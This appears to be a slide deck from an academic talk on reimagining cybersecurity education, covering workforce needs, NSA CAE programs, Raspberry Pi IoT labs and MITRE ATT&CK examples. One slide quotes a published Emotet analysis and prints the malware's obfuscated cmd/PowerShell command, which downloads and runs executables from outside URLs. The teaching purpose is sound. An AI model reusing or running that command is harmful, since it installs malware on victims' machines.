Addressing Future Workforce Needs by Reimagining Cybersecurity Education

A. Ravishankar Rao Ph.D IEEE Fellow Al and Cybersecurity Organized by Dr. Maksim lavich and the team Caucasus University and Scientific Cyber Security Association





Talk outline:

- Overall context of higher education in the US
- Context of the technology industry and the drivers of change
- Specific issues in cybersecurity
- How to improve the catchment and retention of students
- What about teachers/faculty?
- Future opportunities and challenges
- Solutions: what can we do:
 - Outreach
 - High school projects
 - Cyber competitions
 - Mentors/coaches
 - Lots of money is required!!
 - Scholarships for students
 - Faculty grants (like what I received)

First, the higher education landscape in the US.



https://bdataanalytics.biomedcentral.com/articles/10.1186/s41044-019-0040-9

Lower Tier Universities

https://www.nytimes.com/2022/06/01/business/corinthian-student-loan-forgiveness.html



Everest College-City of Industry in California, part of Corinthian Colleges, in 2015, the year the chain closed.Credit...Al Seib/Los Angeles Times via Getty Images

- Many of these are for-profit private colleges
- All students are eligible for loans
- No background checks on students or the university
- Accreditation is not necessary, and standards vary widely

The New York Times

\$5.8 Billion in Loans Will Be Forgiven for Corinthian Colleges Students

The Education Department said it would wipe out the debts of 560,000 borrowers who had enrolled in the for-profit college chain, which collapsed in 2015.



June 1, 2022

Other points to consisder about education

- Standardized testing is being eliminated gradually (especially at the bachelors level college admissions)
- Student quality varies widely
- Degree quality varies widely a B.S. from MIT is not the same as a B.S. from a low-tier college
- Employers understand the situation
 - They have their own tests during selection/interviews
- STEM education pipeline is low
- Other factors:
 - Outsourcing
 - Jobs outlook: many unfilled positions, but many applicants also! Why are candidates not getting jobs?
 - Al/automation: stokes fear of getting into the IT sector
 - Job pool influenced by large number of foreign students on temporary work visas (Optional Practical Training)

Workforce issues

- New collar workforce (ie workers who do not have a college degree)
- US workforce needs to be elastic: scale up when necessary and scale down if required (e.g. dot com crash, 2008 financial crisis).
- Increasing diversity of the talent pool, especially domestic US students

The Missing Millions

Democratizing Computation and Data to Bridge Digital Divides and Increase Access to Science for Underrepresented Communities

October 3, 2021

NSF OAC 2127459

https://www.rti.org/publication/missing-millions/fulltext.pdf

Cyberscurity issues

- Foreign workers cant get security clearance or work for US government easily
- Hence native US pool needs to be increased
- Reluctance to join cybersecurity
 - Intimidating
 - Job may not be considered "creative" enough
 - Significant skills required
- US Government solution:
 - Establish CAE institutions
- Private industry solution:
 - Offer certificate courses, sometimes free
 - Online courses, e.g. coursera

https://cybersecurityguide.org/resources/centers-of-academic-excellence



CERTIFICATIONS

CISA CEH CISSP CISM Security+ CASP+ CND Forensics OSCP CRISC Pen Testing CTIA Cryptography Malware Analyst

CAREERS

Security Engineer **Chief Information Security Officer** Security Analyst **Computer Forensics** Security Consultant **Digital Forensics** Cryptographer Security Administrator Penetration Tester Security Software Developer Security Specialist Security Code Auditor Security Architect Malware Analyst Data Protection Officer Cybercrime Investigator Cryptanalyst Security Incident Responder Chief Privacy Officer **Risk Manager** Network Administrator **Business InfoSec Officer** Information Security Manager

CAE program structure

The NSA launched what was then called the Centers of Academic Excellence in Information Assurance Education program in 1999. The program has undergone several modifications in structure and names over the years.



Background

> Cyberattacks

- Many recent attacks are emerging from vulnerabilities in IoT devices, e.g. Mirai, Dyn DDoS attack
- IoT attacks increased by 280% in the first half of 2017 (F5 labs report).
- o Atlanta and other cities attacked in 2018
- Ethical quandaries: do cities pay a ransom?

Search Results

The New York Times

👤 Sign In 🛛 🔍

Data Breaches Keep Happening. So Why Don't You Do Something?

By Christopher Mele

Aug. 1, 2018

"Amid a spate of high-profile leaks of personal information, consumers are growing numb to them and complacent about their security"

pressreader

Why data leaks have stopped scaring people

Breaches Are New Normal For Digital Natives Who Believe Their Data Was Never Private Anyway

The Times of India (Mumbai edition) 6 Aug 2018 +5 more Christopher Mele



The attack on the Los Angeles Unified School District sounded alarms across the country, from urgent talks with the White House and the National Security Council after the first signs of ransomware were discovered late Saturday night to mandated password changes for 540,000 students and 70,000 district employees.

So far this year, 26 U.S. school districts — including Los Angeles — and 24 colleges and universities have been hit by so-called ransomware, according to Brett Callow, a ransomware analyst at the cybersecurity firm Emsisoft.

> https://www.npr.org/2022/09/07/1121422336/a-cyberattack-hits-the-los-angeles-schooldistrict-raising-alarm-across-the-coun

> Opportunities

- Improve student recruitment into the desired fields, e.g.
 STEM/Cybersecurity
- We can better integrate course offerings to serve students
- O Utilize newer technologies to make learning more efficient for students (e.g. online, MOOCS etc)
- Rapidly scale up the solutions that work

> Challenges (broad)

- Recruitment of a diverse set of students is hard
- There is significant variability in student backgrounds, especially at the graduate level
- Student motivation/retention/graduation rates could be improved at second/third tier universities

Challenges (specific to security)

- How can students be taught a security mindset?
- How can we bridge the gap between high-level concepts and working at lower levels, e.g. physical hardware?
- What is an efficient way to provide hands on-experience with IoT devices?
- How can universities restructure their courses fast enough?

Specific Aims

- Can we introduce better interventions in the early college years to improve student engagement and performance?
- How do we deal with students from different backgrounds, e.g. Electrical Engineering vs. Computer Science
 - CS Students may not know bread-boarding
 - EE Students may not know operating systems/computer networking
- **How do we provide hands-on learning?**
 - MOOCs can provide theoretical knowledge, but typically fail in lab work

Approach

- Utilize an existing Masters level course, Embedded Systems
- Use the Raspberry Pi to provide hands-on learning
- Desirable features including low cost, multiple I/O ports, GPIO pins
- Allows easy bread-boarding
- Also ideally suited for cybersecurity training as vulnerable software can be installed without worries (safe sandbox)
- This helps create an engaging and integrated class/lab experience



Course Design

- We started with a graduate level course, EENG7709 Embedded Systems offered to M.S. students in Electrical/Computer Engineering
- The course previously taught theoretical concepts
 - Sensory data acquisition & processing
 - Processor architecture
 - Concurrent programming
 - Inter-process communication
 - Combined with a lab using the ARM Processor
- Originally C/C++ based using ARM processors and Keil Development tools

Course Design (contd)

- Additional content was introduced as follows
 - 4 week introduction to Python using zyBooks online platform
 - 2 week introduction to basic Linux operations
 - 1 week for basic usage of Raspberry Pi with network connectivity
 - 1 week to understand basic networking and firewalls (IP Tables)
 - 1 week to understand a simple application: continuous temperature sensing

Student Demographics in Fall 2017 8 students 5 male, 3 female 7 International students, 1 US student



First Pilot Study: Fall 2017, Embedded Systems Course



Second Lab: Temperature sensing & processing



from sense_hat import SenseHat
import time
sense = SenseHat()
temp = round(sense.get_temperature())
message = 'Temperature is %d F ' %(temp)
sense.show_message(message)
sense.clear()

Details:

Rao et al, IEEE STEM Education Conference, Princeton NJ, 2018

```
from sense_hat import SenseHat
import MySQLdb
import time
db = MySQLdb.connect("localhost", "root",
"mysqlpassword","database_name")
cursor = db.cursor()
while True:
  try:
    sense = SenseHat()
    sense.clear()
    temp = sense.get_temperature()
    temp = round(temp ,1)
    cursor.execute("""Insert into temperature_logger
        values(0, CURRENT_DATE(), NOW(),%s)""",
                                 (temp));
    db.commit()
                                           35
```

print ("Data Committed") except TypeError as error: print (error) db.rollback() db.close() time.sleep(5)



Second Pilot Study

25 students in ENGR3000 Modern Technologies course



All the concepts are interrelated: Embedded Devices, IoT, Operating Systems, Control Systems, Programming, Cybersecurity, Engineering Ethics.

A Device like Raspberry-Pi helps ground all these concepts for students

Integrate areas (usually lacking in current education) Develop a security mindset



Weave a cybersecurity thread through the course

Integration of key concepts and areas is very important



Existing CAE Knowledge Units: <u>2 Year Programs</u>

Knowledge unit 1: Basic Data Analysis

Knowledge unit 2: Basic Scripting

Knowledge unit 3: Cyber Threats

Proposed

"Hands-on"

Lab mapping

Knowledge unit 4: Intro to cryptography Core Hands-on Raspberry Pi Based Labs

Lab:

Temperature sensing & analysis

Lab: iPython Notebooks

Lab: Networking & Firewalls

Lab: Random Number Generators

Students were also introduced to iPython Notebooks



Generation of pseudo random numbers using random.randint function

Generating range of 100 random numbers using the random randint method.

numpy.random.randint(low, high=None, size=None, dtype='l')

Hugely popular in Data Science/AI/Machine Learning (e.g. Scikit Learn/TensorFlow/Deep Learning)

Key idea

- Take a real-world situation or problem
- Map it into a simple lab exercise
- Have students conduct the exercise and reflect on the implications of their experiments

Discussion

- The students were very excited with the hands-on lab
- Many students went and bought their own Raspberry Pi after the lab
- The use of zyBooks for teaching Python accelerated their learning
- Students developed an understanding of basic firewall management
- Students were curious to learn more about databases and efficient storage/retrieval of streaming data

Benefit to FDU

A state-of-the art Internet-of-things Laboratory

Quantity	Item			
25	Raspberry Pi Model 3-B			
25	Touch screen displays			
25	Wireless Keyboards			
25	Wireless Mouse			
25	Raspberry Pi Cases			
25	Raspberry Pi Cameras			
25	Flash memory cards (8GB)			
1	Cisco network switch			
2	Lenovo Desktop Computers			
2	Linksys Wireless Routers			
2	Locked cabinets			
2	Barcode scanners			
4	Fingerprint sensors			
2	RFID card readers			
4	Pulse oximeters			
2	Infra-Red cameras			
1	High performance Lenovo Server			
2	4TB External storage hard drives			

- Stipends to student research assistants
 A. A total of 9 students were supported
 over 5 years
 - B. Approximately \$37.5K was provided to students for a total of 2500 hours of research
- 2. Multiple publications (see references at the end)



Raspberry-Pi with fingerprint sensor

Net cost: Around \$15,000

Benefit to NSA-CAE Institutions, academic institutions worldwide. Visit clark.center and set up an account

C https://clark.center/browse?text=secure%20embedded%20systems&currPage=1							
			secure	embedded systems	Q		
F	ILTERS	<u>Clear all filters</u>	RESULTS (411)	<u>Clear Search</u>		SORT ~	
c	Collection	~					
L	ength	~		Secure Embedded Systems Cyber Heroes			
Т	ōpic	~	UNIT	Ravi Rao at Fairleigh Dickinson University and 1 more Updated Aug 22, 2022 The goal of this learning object is to provide both depth and br	readth of understanding of cybe	ersecurity issues	
Т	ype of Material						
L	evel	~	UNIT	Ravi Rao at Fairleigh Dickinson University and 2 more			
G	Guidelines	~		Updated Aug 22, 2022 This learning object includes inexpensive, scalable, and easily replicable labs on security of Medical Devices a			
				Secure Management of Control Systems			
			COURSE	Dr. Cynthia Irvine at Naval Postgraduate School Updated Apr 25, 2019 management concerns associated with administering and ope	rating an industrial control sys	tem (ICS) with m	

Use of the CLARK repository

- No need to re-invent the wheel
- Material is better than what you can get on a generic website (quality control is difficult). This is produced by CAE institutions and not just individuals.
- You can mix and match and select material to suit your needs

Conclusions: Part 1

- Overall, the Raspberry Pi + Cybersecurity is a great tool to integrate knowledge across multiple courses
 - Programming languages
 - Operating systems
 - Databases
 - Signal processing
 - Control theory
 - Security
- Very effective way of teaching students to build Internet-ofthings applications
- Develop a security mindset, be vigilant, and question the status-quo
- NOTE: Detailed lab instructions have been prepared and will be submitted to the NSA

Value of bootcamps/immersive coding

- No need to train students in general-education courses (e.g. literature/history etc).
- Targeted training for specific jobs
- Different from the traditional 4-year college model which is very popular in the US
- Current bootcamps are more geared towards web-programming, data science, machine-learning etc. There is a wider range of jobs in these areas.

THE CHRONICLE OF HIGHER EDUCATION

NEWS | ADVICE | THE REVIEW | DATA | CURRENT ISSUE | VIRTUAL EVENTS | STORE \sim | JOBS \sim | Q

Just in Time for Fall Term, a Cyberattack Forces an Entire College's Systems Offline

By Steven Johnson | AUGUST 16, 2019

On August 8 the Stevens Institute of Technology noticed "system-access issues" and alerted users to what it later called a "very severe and sophisticated" cyberattack. The college disabled its systems and networks as a precaution, it said, apparently <u>disrupting</u> a swath of tasks needed to run the college: email, payroll, tuition payments, class scheduling, summer course assignments, its virtual private network, and more.

https://www.chronicle.com/article/just-in-time-for-fall-terma-cyberattack-forces-an-entire-colleges-systems-offline/
Healthcare **IT** News

Global Edition Privacy & Security

Hackensack Meridian Health pays up after ransomware attack

The undisclosed sum paid by the New Jersey health system, one of the state's largest, is covered by an insurance plan that helps it cover costs related to cyber attacks, officials said.



New Jersey's Hackensack Meridian Health

By Nathan Eddy | December 16, 2019 | 11:27 AM

https://www.healthcareitnews.com/news/hackensackmeridian-health-pays-after-ransomware-attack

CBS News App Ukraine Crisis	COVID Par	ndemic CBS Ne	ws Live Full E	pisodes Esse	entials Sh	opping	Newsletters
●CBS NEWS	NEWS ~	shows √	• LIVE ~	LOCAL ~		Q	Login

MONEYWATCH >

Ransomware attack shutters 157-year-old Lincoln College

MONEY BY KATE GIBSON WATCH MAY 10, 2022 / 1:11 PM / MONEYWATCH



https://www.cbsnews.com/news/lincoln-college-closesransomware-hackers-illinois/





Subscribe

Education

Former Rutgers student admits to creating code that crashed internet

Updated: Dec. 13, 2017, 4:51 p.m. | Published: Dec. 13, 2017, 3:51 p.m.

The 21-year-old former Rutgers computer science major, who lives at home with his parents, admitted in a series of pleas that stretch from New Jersey to Alaska to helping create powerful computer codes, including the "Mirai" computer virus that terrorized the internet in 2016

The hackers also made money by renting out the botnet to others and by forcing internet hosting companies to pay "protection money" to avoid getting hit with cyber attacks, the plea agreement said.

https://www.nj.com/education/2017/12/rutgers_student_charged_in_series_of_cyber_attacks.html

WSJ NEWS EXCLUSIVE | BUSINESS

Colonial Pipeline CEO Tells Why He Paid Hackers a \$4.4 Million Ransom

WSJ

Joseph Blount says he needed to quickly restore service after cyberattack threatened East Coast supply

The Colonial Pipeline provides roughly 45% of East Coast fuel; storage tanks in Maryland that are part of the pipeline system.

PHOTO: DREW ANGERER/GETTY IMAGES

By <u>Collin Eaton</u> Follow and <u>Dustin Volz</u> Follow Updated May 19, 2021 4:51 pm ET



https://www.wsj.com/articles/colonial-pipeline-ceo-tellswhy-he-paid-hackers-a-4-4-million-ransom-11621435636 https://www.verizon.com/business/resources/reports/dbir/

2022 Data Breach Investigations Report

Gain vital cybersecurity insights from our analysis of over 23,000 incidents and 5,200 confirmed breaches from around the world—to help minimize risk and keep your business safe.

View report online

Download the DBIR

https://www.verizon.com/business/resources/reports/dbir/2022/summary-of-findings/



There are four key paths leading to your estate: Credentials, Phishing, Exploiting vulnerabilities, and Botnets. All four are pervasive in all areas of the DBIR, and no organization is safe without a plan to handle each of them.

This year ransomware has continued its upward trend with an almost 13% rise—an increase as big as the last five years combined. It's important to remember that while ubiquitous and potentially devastating, ransomware by itself is, at its core, simply a model of monetizing an organization's access. Blocking the four key paths mentioned above helps to block the common routes ransomware uses to invade your network.

The human element continues to drive breaches. Whether it is the use of stolen credentials, phishing or simply an error, people continue to play a large part in incidents and breaches alike.

CAE Map to Entire IS	SA Curriculum (Jones & Ba	artlett Learning)*		
All links below take you to the data	asheet for that KU.			
Core 2Y Knowledge Un	its	Optional Knowledge Un	its	
	Basic Data Analysis	Advanced Cryptography	Hardware Reverse Engineering	Secure Programming Practices
1		Advanced Network Technology]	
	Basic Scripting	and Protocols	Hardware/Firmware Security	Security Program Management
	Cyber Defense	Algorithms	IA Architectures	Security Risk Analysis
	Cyber Threats	Analog Telecommunications	IA Compliance	Software Assurance
	Fundamental Security Design			
	Principles	Cloud Computing	IA Standards	Software Reverse Engineering
		Cybersecurity Planning and	Independent/Directed	
	Information Assurance Fundamentals	Management	Study/Research	Software Security Analysis
	Introduction to Cryptography	Data Administration	Industrial Control Systems	Supply Chain Security
	IT System Components	Data Structures	Intro to Theory of Computation	Systems Programming
				Systems Certification and
	Networking Concepts	Database Management Systems	Intrusion Detection	Accreditation
	Policy. Legal, Ethics and Compliance	Digital Communications	Life-Cycle Security	Systems Security Engineering
	Systems Administration	Digital Forensics	Low Level Programming	Virtualization Technologies
1		Device Forensics	Mobile Technologies	Vulnerability Analysis
Core 4Y Knowledge Un	its	Host Forensics	Network Security Administration	Wireless Sensor Networks
	Databases	Media Forensics	Operating Systems Hardening	
Network Defense		Network Forensics	Operating Systems Theory	
	Network Technology and Protocols Operating Systems Concepts		Overview of Cyber Operations	
			Penetration Testing	
	Probability and Statistics	Formal Methods	QA / Functional Testing	
	-	Fraud Prevention and	-	
	Programming	Management	RF Principles	

The ISSA Series, Information Systems Security & Assurance, https://www.jblearning.com/cybersecurity

Use of practical scenarios to motivate students

Search	for "M	itre	attack na	vigator"				
		k.github.io/	attack-navigator/					
orte	d 🗙 Bookmar	ks 🧐	chandrakantha.com	Facebook Group N	Alexander Street Pr	Saved Tabs	PQ Basic Search - ProQ	Fidelity NetBenefits
	+							
				Ν	/IITRE ATT&CK®	⁾ Navigat	or	
			T I' C	The ATT&CK Navigator It can be used to visuali; detected techniques, an	is a web-based tool for anr ze defensive coverage, red/ d more.	notating and exp /blue team plan	ploring ATT&CK matrices ning, the frequency of	S.
					help changelog	theme 🔹		
			Create New Layer		Create a new empty layer			^
			E	interprise	Mobile		ICS	
			More Options					~
			Open Existing Layer		Load a layer from your co	emputer or a UR	iL	~

Catalog of different attack scenarios and techniques used in attacks





< → C ∆ (mitre-attack.github.io/	attack-navigato
🔢 Apps 📙 Imported	★ Bookmarks 🚱 🎴	chandrakantha
layer ×	+	
Reconnaissance 10 techniques	Resource Development Ini 7 techniques 9	tial Access techniques
Active Scanning (0/3)	Active Scanning (T1595)	-by
Gather Victim Host Information (0/4)	pin/unpin tooltip select	nit Public-
Gather Victim Identity Information (0/3)	add to selection remove from selection	cation
Gather Victim Network Information (0/6)	select all deselect all	tes
Gather Victim Org	invert selection select annotated	hing _(0/3)
Phishing for Information (0/2)	select unannotated	cation
Search Closed Sources (0/2)	deselect all techniques in tactic	ovable a
Search Open Technical Databases (075)	view technique view tactic	bromise _(0/3)
Search Open Websites/Domains	Rela	ted tionship
Search Victim-Owned Websites	Valio	d punts _(0/3) II

https://attack.mitre.org/techniques/T1595/



$\leftarrow \rightarrow C \ c$ attack.mitre.org/techniqu	ues/T1595/0	02/		🗠 🛧 🐵 💽 🖈 🔲 🍯
🗰 Apps 📙 Imported 🗙 Bookmarks 🔇 🔓	chandrakantha	a.com 🚹 I	Facebook Group N 🛛 🛃	🛉 Alexander Street Pr 📙 Saved Tabs 🛛 PQ Basic Search - ProQ 🏟 Fidelity NetBenefits 💽 Advanced Search: E » 📙 Other bool
MITRE ATT&CK*	<i>l</i> atrices	Tactics 🔻	Techniques 👻	Data Sources Mitigations - Groups Software Resources - Blog 🗗 Contribute Search Q
TECHNIQUES		ID	Name	Description
Enterprise	^	G0007	APT28	APT28 has performed large-scale scans in an attempt to find vulnerable servers. ^[2]
Reconnaissance Active Scanning	^	G0016	APT29	APT29 has conducted widespread scanning of target environments to identify vulnerabilities for exploit. ^[3]
Scanning IP Blocks		G0143	Aquatic Panda	Aquatic Panda has used publicly accessible DNS logging services to identify servers vulnerable to Log4j (CVE 2021-
Vulnerability Scanning		00005	Drama	++220)."
Wordlist Scanning		G0035	Dragonny	Dragonny has scanned targeted systems for vulnerable Citrix and Microsoft Exchange services. ¹⁹⁷
Gather Victim Identity Information	* *	G0059	Magic Hound	Magic Hound has conducted widespread scanning to identify public-facing systems vulnerable to Log4j (CVE-2021- 44228). ^[6]
Gather Victim Network Information	~	G0034	Sandworm	Sandworm Team has scanned network infrastructure for vulnerabilities as part of its operational planning. ^[7]
Gather Victim Org Information	~		Team	
Phishing for Information	~	G0139	TeamTNT	TeamTNT has scanned for vulnerabilities in IoT devices and other related resources such as the Docker API. ^[8]
Search Closed Sources Search Open Technical Databases	~	G0123	Volatile Cedar	Volatile Cedar has performed vulnerability scans of the target server. ^{[9][10]}

APT = advanced persistent threat

$\leftarrow \rightarrow C \triangle$	mitre-attack.githu	ıb.io/attack-naviga	tor/					🖻 🛧 💿 💽 🏈 🖬
Apps Imported	★ Bookmarks 🧉	chandrakanth	na.com 🚹 Facebook	Group N 💋 📍	Alexander Street Pr	Saved Tabs PQ Ba	asic Search - ProQ	🏟 Fidelity NetBenefits 📔 Advanced Search: E » 📔 Other b
tabletop ×	+				selection controls	s layer controls	~ — ta	technique controls
	D					×, ∎, ≚ ⊞	○ - , <u></u>	
Reconnaissance 10 techniques	Development 7 techniques	Initial Access 9 techniques	Execution 10 techniques	Persistence 18 techniques	Escalation 13 techniques	Defense Evasion 34 techniques	Acce 15 techn	Q apt28
Active Scanning (0/3)	Acquire Infrastructure _(0/6)	Drive-by Compromise	Command and Scripting Interpreter (0/5)	Account Manipulation _(0/2)	Abuse Elevation Control Mechanism (0(1)	Abuse Elevation Control Mechanism (0/1)	Adversary II the-Middl	
Gather Victim Identity	Compromise Accounts (0/2)	Exploit Public- Facing Application	Exploitation for Client Execution	BITS Jobs Boot or Logon	Access Token Manipulation (0/5)	Access Token Manipulation (0/5)	Brute Force (0/4)	Search Settings Image: Image
Gather Victim	Develop	External Remote Services	Inter-Process Communication (0/2)	Execution (0/10) Boot or Logon	Boot or Logon Autostart Execution (010)	BITS Jobs Debugger Evasion	from Passy Stores (0/3)	
Information (0/6) Gather Victim Org	Capabilities _(0/4) Establish	Hardware Additions	Native API Scheduled	Initialization Scripts (0/2)	Boot or Logon Initialization	Deobfuscate/Decode Files or Information	Exploitatic for Creder Access	Techniques (1)
Phishing for Information (0/4)	Obtain Capabilities (0/2)	Replication Through	Shared Modules	Extensions	Create or Modify System	Direct Volume Access	Forced Authentica	select all deselect all
Search Closed Sources (0/2)	Stage Capabilities (0/5)	Removable Media	Software Deployment Tools	Client Software Binary	Process (0/1) Domain Policy	Modification (0/2)	Forge Wel Credential	Acquire Infrastructure : Domains <u>view</u> select deselect
Search Open Technical Databases _(0/5)		Compromise (0/3)	User Execution (0/2)	Account (0/2)	Escape to Host	Exploitation for Defense Evasion	Capture (0, Modify	Threat Groups (2)
Search Open Websites/Domains (0/2)		Relationship Valid	Windows Management Instrumentation	System Process (0/1)	Event Triggered Execution (0/11)	File and Directory Permissions	Authentica Process (0)	select all deselect all
Search Victim-Owned Websites		Accounts (0/3)		Event Triggered Execution (0/11)	Exploitation for Privilege Escalation	Modification _(0/1) Hide Artifacts _(0/9)	Multi-Fact Authentica II Interceptic	APT28 <u>view</u> select deselect
				Services	Hijack Execution	Hijack Execution	Multi-Fact	Sandworm Team <u>view</u> select deselect

 											
Marke Market	← → C ☆ attack.mitre.org/soft	tware/S0367/									
MITRE ATT&CK* Matrices Tactics * Techniques * Data Sources Mitigations * Groups Software Resource The new v11.2 release of MITRE ATT&CK contains a beta version of Sub-Techniques for Mobile. The current, stable Mobile content can be ac SOFTWARE Home > Software > Emotet Emotet • Emotet • EnvyScout Emotet is a modular malware variant which is primarily used as a downloader for other malware variants such as TrickBot and IcedID. Emotet first emerged in June 2014 and has been primarily used to target the banking sector. ^[1]	👯 Apps 📙 Imported ★ Bookmarks 📀	сранка сранити средстви средстви средствии средств	🖥 Facebook Group N 🛃 🚦	Alexander Street Pr.	🧧 Saved Tabs	PQ Basic Search	- ProQ 🧖 Fie	delity NetBen			
SOFTWARE Home > Software > Emotet Emotet Image: Contract of the current of t	MITRE ATT&CK°	Matrices Tactics	s 🔻 Techniques 👻	Data Sources	Mitigations -	Groups	Software	Resourc			
SOFTWARE Emotet Empire EnvyScout Epic esentutl eSurv Home > Software > Emotet Emotet is a modular malware variant which is primarily used as a downloader for other malware variants such as TrickBot and IcedID. Emotet first emerged in June 2014 and has been primarily used to target the banking sector. [1]	The new v11.2 release	se of MITRE ATT&CK co	ntains a beta version of S	ub-Techniques fo	or Mobile. The cur	rent, stable N	1obile content	can be ac			
EnvyScout Emotet is a modular malware variant which is primarily used as a downloader for other malware Epic variants such as TrickBot and IcedID. Emotet first emerged in June 2014 and has been primarily esentutl used to target the banking sector. ^[1] eSurv Variants such as TrickBot and IcedID. Emotet first emerged in June 2014 and has been primarily	SOFTWARE Emotet Empire	Home	Software > Emotet IOtet								
	EnvyScout Epic esentutl eSurv	Emotet variant used to	Emotet is a modular malware variant which is primarily used as a downloader for other malware variants such as TrickBot and IcedID. Emotet first emerged in June 2014 and has been primarily used to target the banking sector. ^[1]								

https://www.picussecurity.com/resource/blog/emotettechnical-analysis-part-2-powershell-unveiled https://www.picussecurity.com/resource/blog/emotettechnical-analysis-part-1-reveal-the-evil-code



Süleyman Özarslan, PhD | January 30, 2020

Emotet was first identified in 2014 as a banking malware stealing sensitive and private information. Although Emotet has been used for

Keep up to date with latest blog posts



the Textbox1, and accessed the following code that is executed by the Interaction.Shell method:

c:\SzCTnucwEfW\SbuaBlErrzYpl\RdPspAGt\..\..\windows\system32\cmd.exe /c %ProgramData:~0, 1%%ProgramData:~9,2% /V:/C"set XhOY=;'JWt'=BTH\$}}{hctac};kaerb;'GGi'=WLb\$;hjk\$ metI-ekovnI{)00008 eg- h tgnel.)hjk\$ metI-teG((fI;'cRO'=iVj\$;)hjk\$,RFw\$(eliFdaolnwoD.lho\${yrt{)YI1\$ ni RFw\$(hcaerof;'exe.'+ori \$+'\'+pmet:vne\$=hjk\$;'njW'=pBF\$;'051' = ori\$;'abm'=vvs\$;)'@'(tilpS.'HgC1qLI06/ln.tfeelc//:ptth@vNdyoSJJX/ setirovaf_dda/moc.tramsyotihsayah.www//:ptth@IzIWsGC4W/moc.srettiftuorevirytinirt.www//:ptth@vJwloS1p/mo c.kokgnabpac.www//:ptth@dhvXN9L/moc.ierebewneedi.www//:ptth'=YI1\$;tneilCbeW.teN tcejbo-wen=lho\$;'VfD'=vSK \$ llehsrewop&&for /L %V in (497,-1,0)do set xJWn=!xJWn!!XhOY:~%V,1!&&if %V==0 call %xJWn:~6%"

We see a heavily obfuscated code to make detection difficult, the only clear part of the code is

c:\SzCTnucwEfW\SbuaBlErrzYpl\RdPspAGt\..\..\windows\system32\cmd.exe. As seen on this part of the code, three random directories are added after c:\ to bypass weak security controls, then three \.. are added to traverse back to c:\. Therefore, the obtained path is c:\windows\system32\cmd.exe that runs the subsequent commands.

However, those commands are also obfuscated:

Purpose of this exploration

- Show real world examples of actual techniques used in cyberattacks
- Motivate students to learn skill required in current jobs
 - E.g. need to learn shell scripting (Powershell, Linux)
 - Learn reconnaissance strategies, e.g. nmap
- Shows students how attacks are generated

Problem: How to reconfigure existing courses

- This is institution specific
- Need to work with university administration, general education requirements, government controls etc.
- Ensure accreditation requirements are met
- Also work with the industrial advisory board and other external agencies
- Ensure there is sufficient demand for the new courses/curricula



1.2.1: Integration of Hands-on learning

(Version 1)



1.2.1: Integration of Hands-on learning, Undergraduate Level



1.2.1: Integration of Hands-on learning, Graduate Level



Advanced Engineering Programming (C++/Python) ENGR3000

> Digital Systems Design EENG 2286

Microprocessor Design II EENG3288

Data Communications & Computer Networks EENG4342 Foundations of CyberSecurity INFO4410

1.2.1: Integration of Hands-on learning, Undergraduate Level





Many such configurations are possible

Agata D, Besari AR, Wibowo IK, Putri BC. Syllabus Design for Computer Extracurricular Based on Internet of Things. Beyond Words. 2018 Nov 30;6(2):88-101.

SYLLABUS DESIGN FOR COMPUTER EXTRACURRICULAR

Syllabus Design for Computer Extracurricular Based on Internet of Things

88

Dias Agata <u>diasagatahendra@gmail.com</u> *** Adnan Rachmad Anom Besari, *** Iwan Kurnianto Wibowo *** Berliana Cahyaniati Purnomo Putri

Politeknik Elektronika Negeri Surabaya, Indonesia Rao, A. R., Clarke, Daniel. (2018). Development of an Embedded System

Beyond Words Vol.6 No.2 (2018)

Course to Teach the Internet-of-Things. Fairleigh Dickinson University,

The Indonesian government's concern for the development of STEM teaching needs to be balanced with the readiness of the syllabus to implement the ideal teaching and learning process. One of the studies that has been done is in the form of research on the application of STEM that is adapted to IoT technology. The media used to implement IoT technology are Raspberry Pi and Python programming languages. Raspberry pi has lower price, easy and fast IoT implementation, and has an I / O port. While the Python programming language was chosen because it is one of the best programming languages (Rao, et al., 2018)

clark.center: the largest repository of free cybersecurity related courseware, funded by the National Security Agency, USA

https://youtu.be/wXIZZjq0IDo

$\leftarrow \rightarrow$ C $\widehat{\square}$ \Box clark.center/home G \checkmark	* 👘 📭	0		Ď		J
🗅 Imported ★ Bookmarks 🚱 💁 chandrakantha.co 😝 Facebook Group N 🌌 🛉 Alexander Street Pr 🚱 Powered by Act! 🗅 Saved Tabs PQ Basic Search - ProQ 🚱	Fidelity NetBenefit			»		
Search Q				Sign In	I Re	
About CLARK Collections V Resources V Topics V						
Check out our latest blog: Exploring User Experience Design Part 2 of 4 by Joshua Ouyporn See blog for more details.		Dismis	s	Di	smiss	

Teach Cyber Today... Secure Tomorrow

CLARK is the largest platform that provides **FREE** cybersecurity curriculum. It is home to highvalue, high-impact cyber curriculum created by top educators and reviewed for relevance and quality. Whether you're looking to teach something new tomorrow, align with curriculum guidelines and standards, or refine your current course, CLARK has free resources ready for you to use!



Search for Embedded Systems at clark.center. You will see courses developed by Ravi Rao

CLARK		embedded systems	Q
About CLARK	Collections 🗸	Resources 🗙	Topics 🗸
FILTERS	<u>Clear all filters</u>	RESULTS (391)	<u>Clear Search</u> Sort By: ~
Collection	~		
Length	~	Cyber	Secure Embedded Systems
Торіс	~		Ravi Rao at Fairleigh Dickinson University and 1 more
Type of Material	~	Cyber Heroes	The goal of this learning object is to provide both depth and breadth of understanding of cybersecurity is
Level	~		Hands on Laboratorias for Secure Embedded Systems
Guidelines	~	NSA NCAE-C Initia	Ative This learning object includes inexpensive, scalable, and easily replicable labs on security of Medical Devic

Cyber Heroes

Secure Embedded Systems

Ravi Rao at Fairleigh Dickinson University and 1 more Updated Aug 22, 2022

The goal of this learning object i...

NSA NCAE-C Initiative

Hands-on Laboratories for Secure Embedded Systems

Ravi Rao at Fairleigh Dickinson University and 2 more Updated Aug 22, 2022

This learning object includes ine...

Internet of Things and Cyber-Physical Systems

Volume 3 • 2023 Â Å 1 ScienceDirect Available online at

A.R. Rao, <u>A. Elias-Medina</u>, "Designing an internet-of-things laboratory to improve student understanding of secure IoT systems", Journal of Internet of Things and Cyber-physical Systems, Elsevier Publishers, to appear in October 2023.

		At the	At the start of the course					the end	d of the	e cour	se
	Survey question	Strongly Disagree	Disagree	Neutral	Agree	Strongly Agree	Strongly Disagree	Disagree	Neutral	Agree	Strongly Agree
6	I keep up with recent technology developments			1	9	1				4	7
7	I am familiar with using sensor data in engineering systems	1	1	5		4			1	2	8
8	I am familiar with interfacing hardware with software		2	2	5	1			2	6	3
9	I am curious to learn about Internet-of- Things				5	6				1	10

Understanding of cybersecurity issues

Challenges in changing curricula/courses

- Institutional inertia
 - Some institutes may not want to change quickly
 - Need to hire new faculty members in new areas of expertise
 - Students need to enroll in new programs
